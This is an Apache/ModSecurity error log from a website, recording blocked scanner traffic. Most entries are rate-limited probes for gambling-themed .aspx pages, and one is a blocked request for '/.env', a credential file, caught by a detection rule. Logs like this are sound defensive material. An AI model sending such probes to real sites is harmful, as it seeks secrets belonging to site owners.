[Fri Apr 10 02:02:06.098270 2026] [:error] [pid 36399:tid 36456] [client 51.77.216.36:34014] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adfpnq8Hkxpyh6_TlVQ8TAAAAIE"]
[Fri Apr 10 02:02:08.102029 2026] [:error] [pid 36672:tid 36676] [client 51.77.216.36:34020] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adfpoD99r9VLJsT_o8iR_gAAAMI"]
[Fri Apr 10 02:02:10.094582 2026] [:error] [pid 29569:tid 29592] [client 51.77.216.36:34028] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adfport9mkieWu8HPk5LowAAAVM"]
[Fri Apr 10 02:02:12.090339 2026] [:error] [pid 36397:tid 36403] [client 51.77.216.36:35738] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adfppGhis4RvVEWEv9v3lQAAAAI"]
[Fri Apr 10 02:02:14.109561 2026] [:error] [pid 36672:tid 36677] [client 51.77.216.36:35752] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adfppj99r9VLJsT_o8iSAQAAAMM"]
[Fri Apr 10 02:02:16.136510 2026] [:error] [pid 29569:tid 29575] [client 51.77.216.36:35762] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adfpqLt9mkieWu8HPk5LqQAAAUI"]
[Fri Apr 10 02:02:18.131877 2026] [:error] [pid 36397:tid 36415] [client 51.77.216.36:35772] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adfpqmhis4RvVEWEv9v3lwAAAA4"]
[Fri Apr 10 02:02:20.134901 2026] [:error] [pid 36672:tid 36696] [client 51.77.216.36:35784] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adfprD99r9VLJsT_o8iSBQAAANY"]
[Fri Apr 10 02:02:22.136000 2026] [:error] [pid 36398:tid 36438] [client 51.77.216.36:60650] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adfpruX640wXZwwgfP96JgAAAEo"]
[Fri Apr 10 02:02:24.137671 2026] [:error] [pid 29569:tid 29597] [client 51.77.216.36:60664] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adfpsLt9mkieWu8HPk5LrAAAAVg"]
[Fri Apr 10 02:02:26.033160 2026] [:error] [pid 36672:tid 36690] [client 51.77.216.36:60666] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adfpsj99r9VLJsT_o8iSDAAAANA"]
[Fri Apr 10 02:02:27.909473 2026] [:error] [pid 36672:tid 36698] [client 51.77.216.36:60674] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adfpsz99r9VLJsT_o8iSEQAAANg"]
[Fri Apr 10 02:02:29.927989 2026] [:error] [pid 36672:tid 36692] [client 51.77.216.36:60680] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adfptT99r9VLJsT_o8iSFgAAANI"]
[Fri Apr 10 02:02:31.813785 2026] [:error] [pid 36397:tid 36401] [client 51.77.216.36:34934] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adfpt2his4RvVEWEv9v3oQAAAAA"]
[Fri Apr 10 02:02:33.839061 2026] [:error] [pid 36397:tid 36418] [client 51.77.216.36:34938] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adfpuWhis4RvVEWEv9v3pwAAABE"]
[Fri Apr 10 02:02:35.736940 2026] [:error] [pid 29569:tid 29587] [client 51.77.216.36:34952] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adfpu7t9mkieWu8HPk5LsQAAAU4"]
[Fri Apr 10 02:02:37.742065 2026] [:error] [pid 29569:tid 29574] [client 51.77.216.36:34966] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adfpvbt9mkieWu8HPk5LuAAAAUE"]
[Fri Apr 10 05:13:15.618358 2026] [:error] [pid 12574:tid 12611] [client 43.166.134.114:45688] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adgWa3w-1tvJISKJyrTVJAAAABE"]
[Fri Apr 10 06:25:17.883833 2026] [:error] [pid 59286:tid 59298] [client 194.26.192.205:52832] [client 194.26.192.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "adgnTW1gMezN4JEr-RWtfgAAAco"]
[Fri Apr 10 09:22:55.928127 2026] [:error] [pid 13189:tid 13201] [client 147.135.252.148:57800] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adhQ75AxiJKPums3eBDONgAAAEk"]
[Fri Apr 10 09:22:57.837752 2026] [:error] [pid 13189:tid 13205] [client 147.135.252.148:45706] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adhQ8ZAxiJKPums3eBDOOAAAAE0"]
[Fri Apr 10 09:22:59.730740 2026] [:error] [pid 13100:tid 13112] [client 147.135.252.148:45714] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adhQ81zg-ZkZ0InWIP3AiQAAAQc"]
[Fri Apr 10 09:23:01.656724 2026] [:error] [pid 13100:tid 13107] [client 147.135.252.148:45720] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adhQ9Vzg-ZkZ0InWIP3AjgAAAQI"]
[Fri Apr 10 09:23:03.614195 2026] [:error] [pid 13101:tid 13145] [client 147.135.252.148:45726] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adhQ998Ldw85818pj2qrxAAAAIw"]
[Fri Apr 10 09:23:05.415140 2026] [:error] [pid 13102:tid 13167] [client 147.135.252.148:45730] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adhQ-f9xLvjW2guI55YgFAAAAAc"]
[Fri Apr 10 09:23:07.363678 2026] [:error] [pid 13101:tid 13144] [client 147.135.252.148:39002] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adhQ-98Ldw85818pj2qrxQAAAIs"]
[Fri Apr 10 09:23:09.390722 2026] [:error] [pid 13100:tid 13118] [client 147.135.252.148:39004] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adhQ_Vzg-ZkZ0InWIP3AkgAAAQ0"]
[Fri Apr 10 09:23:11.275442 2026] [:error] [pid 13100:tid 13125] [client 147.135.252.148:39008] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adhQ_1zg-ZkZ0InWIP3AlgAAARQ"]
[Fri Apr 10 09:23:13.314875 2026] [:error] [pid 13189:tid 13211] [client 147.135.252.148:39020] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adhRAZAxiJKPums3eBDOTQAAAFM"]
[Fri Apr 10 09:23:15.180008 2026] [:error] [pid 13189:tid 13197] [client 147.135.252.148:39034] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adhRA5AxiJKPums3eBDOUQAAAEU"]
[Fri Apr 10 09:23:17.229209 2026] [:error] [pid 13100:tid 13106] [client 147.135.252.148:55458] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adhRBVzg-ZkZ0InWIP3AmAAAAQE"]
[Fri Apr 10 09:23:19.054586 2026] [:error] [pid 13101:tid 13152] [client 147.135.252.148:55460] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adhRB98Ldw85818pj2qrygAAAJM"]
[Fri Apr 10 09:23:20.981558 2026] [:error] [pid 13101:tid 13153] [client 147.135.252.148:55474] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adhRCN8Ldw85818pj2qrywAAAJQ"]
[Fri Apr 10 09:23:23.019745 2026] [:error] [pid 13189:tid 13200] [client 147.135.252.148:55484] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adhRC5AxiJKPums3eBDOWQAAAEg"]
[Fri Apr 10 09:29:02.674999 2026] [:error] [pid 13101:tid 13153] [client 147.135.252.148:52498] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adhSXt8Ldw85818pj2qtDAAAAJQ"]
[Fri Apr 10 09:29:04.448995 2026] [:error] [pid 13100:tid 13127] [client 147.135.252.148:44596] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adhSYFzg-ZkZ0InWIP3BgwAAARY"]
[Fri Apr 10 09:29:06.464785 2026] [:error] [pid 13100:tid 13115] [client 147.135.252.148:60276] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adhSYlzg-ZkZ0InWIP3BiwAAAQo"]
[Fri Apr 10 09:29:08.470198 2026] [:error] [pid 13101:tid 13149] [client 147.135.252.148:60284] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adhSZN8Ldw85818pj2qtFwAAAJA"]
[Fri Apr 10 09:29:10.476102 2026] [:error] [pid 13100:tid 13117] [client 147.135.252.148:60288] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adhSZlzg-ZkZ0InWIP3BjAAAAQw"]
[Fri Apr 10 09:29:12.471291 2026] [:error] [pid 13189:tid 13199] [client 147.135.252.148:60298] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adhSaJAxiJKPums3eBDQkAAAAEc"]
[Fri Apr 10 09:29:14.472380 2026] [:error] [pid 13100:tid 13105] [client 147.135.252.148:60306] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adhSalzg-ZkZ0InWIP3BkQAAAQA"]
[Fri Apr 10 09:29:16.480838 2026] [:error] [pid 13189:tid 13215] [client 147.135.252.148:41180] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adhSbJAxiJKPums3eBDQlQAAAFc"]
[Fri Apr 10 09:29:18.527415 2026] [:error] [pid 13101:tid 13135] [client 147.135.252.148:41194] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adhSbt8Ldw85818pj2qtKgAAAII"]
[Fri Apr 10 09:29:20.558848 2026] [:error] [pid 13189:tid 13193] [client 147.135.252.148:41198] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adhScJAxiJKPums3eBDQmQAAAEE"]
[Fri Apr 10 09:29:22.559571 2026] [:error] [pid 13100:tid 13117] [client 147.135.252.148:41212] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adhSclzg-ZkZ0InWIP3BlQAAAQw"]
[Fri Apr 10 09:29:24.564948 2026] [:error] [pid 13101:tid 13155] [client 147.135.252.148:41226] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adhSdN8Ldw85818pj2qtNwAAAJY"]
[Fri Apr 10 09:29:26.563741 2026] [:error] [pid 13102:tid 13164] [client 147.135.252.148:38478] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adhSdv9xLvjW2guI55Yh2wAAAAQ"]
[Fri Apr 10 09:29:28.554173 2026] [:error] [pid 13189:tid 13192] [client 147.135.252.148:38490] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adhSeJAxiJKPums3eBDQpgAAAEA"]
[Fri Apr 10 09:29:30.580288 2026] [:error] [pid 13189:tid 13200] [client 147.135.252.148:38498] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adhSepAxiJKPums3eBDQqQAAAEg"]
[Fri Apr 10 10:09:11.054086 2026] [:error] [pid 13100:tid 13112] [client 49.233.45.47:36030] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adhbx1zg-ZkZ0InWIP3OYgAAAQc"]
[Fri Apr 10 10:11:40.560520 2026] [:error] [pid 13101:tid 13148] [client 43.166.255.122:40872] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adhcXN8Ldw85818pj2rBBgAAAI8"]
[Fri Apr 10 12:06:12.365176 2026] [:error] [pid 13102:tid 13184] [client 62.84.185.52:50364] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adh3NP9xLvjW2guI55aNigAAABg"]
[Fri Apr 10 16:10:15.014056 2026] [autoindex:error] [pid 13189:tid 13203] [client 62.60.130.231:51264] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 10 16:32:26.302749 2026] [:error] [pid 3934:tid 3950] [client 182.42.110.255:33676] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adi1moa41m-BS8mg82cVdgAAAMs"]
